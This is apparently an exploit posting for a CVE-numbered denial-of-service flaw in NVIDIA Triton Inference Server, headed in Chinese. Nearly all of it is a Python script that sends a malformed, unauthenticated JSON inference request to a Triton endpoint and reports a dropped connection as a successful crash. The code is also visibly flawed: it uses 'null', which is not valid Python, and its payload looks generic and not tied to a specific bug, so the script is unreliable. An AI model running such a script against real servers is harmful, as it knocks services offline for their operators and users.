CVE-2026-24174 NVIDIA Triton Inference Server 拒绝服务漏洞

import requests # Target URL for NVIDIA Triton Inference Server # Default ports are usually 8000 (HTTP) or 8001 (gRPC) target_url = "http://localhost:8000/v2/models/unknown/infer" # Malformed payload to trigger the crash # This payload simulates a broken request structure that may trigger unhandled exceptions malformed_payload = { "inputs": [ { "name": "test_input", "shape": [1, 224, 224, 3], "datatype": "FP32", # Intentionally malformed content to bypass validation or trigger parsing errors "data": ["TRIGGER_CRASH"] * 1000 } ], # Adding invalid parameters "invalid_parameter": null } try: # Send POST request without authentication headers = {"Content-Type": "application/json"} response = requests.post(target_url, json=malformed_payload, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print("Server may have crashed if no response or connection error occurs.") except requests.exceptions.RequestException as e: # Connection errors often indicate the service has crashed (DoS) print(f"Request failed (potential DoS successful): {e}")